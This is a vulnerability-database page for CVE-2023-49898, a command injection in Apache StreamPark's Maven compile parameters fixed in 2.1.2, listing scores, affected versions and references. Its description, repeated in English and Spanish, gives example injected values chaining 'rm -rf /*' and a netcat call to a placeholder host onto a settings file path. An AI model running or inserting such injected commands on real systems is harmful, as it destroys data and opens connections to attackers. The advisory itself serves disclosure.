7.2high
Apache StreamPark (incubating): Authenticated system users could trigger remote command execution
- Severity
- 7.2high CVSS:3.1 by NVD
- Exploit likelihood
- 2.30% (higher than 83% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- apache
- Also known as
- GHSA-qg44-xqwj-wc28
Description
In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Mitigation: all users should upgrade to 2.1.2 Example: ##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&": /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| Apache Software Foundation Apache StreamPark (incubating) | from 2.0.0 before 2.1.2 | CVE List |
| org.apache.streampark:streampark (Maven) | from 2.0.0 before 2.1.2 | GitHub Advisory Database |
| apache streampark | from 2.0.0 before 2.1.2 | NVD |
All scores
| GitHub | critical rating | |
| NVD | 7.2high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
Classification
What each source says
CVE List
In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Mitigation: all users should upgrade to 2.1.2 Example: ##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&": /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &
NVD (es)
En Streampark, hay un módulo de proyecto que integra las capacidades de compilación de Maven. Sin embargo, no hay verificación de los parámetros de compilación de Maven. Permitir a los atacantes insertar comandos para la ejecución remota de comandos. El requisito previo para un ataque exitoso es que el usuario debe iniciar sesión en el sistema Streampark y tener permisos a nivel del sistema. Generalmente, sólo los usuarios de ese sistema tienen autorización para iniciar sesión y los usuarios no ingresarían manualmente un comando de operación peligroso. Por tanto, el nivel de riesgo de esta vulnerabilidad es muy bajo. Mitigación: todos los usuarios deben actualizar a 2.1.2 Ejemplo: ## Puede personalizar el método de empalme según la situación de compilación del proyecto, los resultados de compilación de mvn usan &&, los errores de compilación usan "||" or "&&": /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &
References
| https://lists.apache.org/thread/qj99c03r4td35f8gbxq084b8qmv2fyr3 | mailing-list, vendor-advisory, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2023-49898 | advisory | |
| https://github.com/apache/incubator-streampark | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2023-49898 changed 2024-08-02 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-qg44-xqwj-wc28 changed 2024-12-03 | CC-BY-4.0 |
| NVD | CVE-2023-49898 changed 2026-06-17 | Public domain |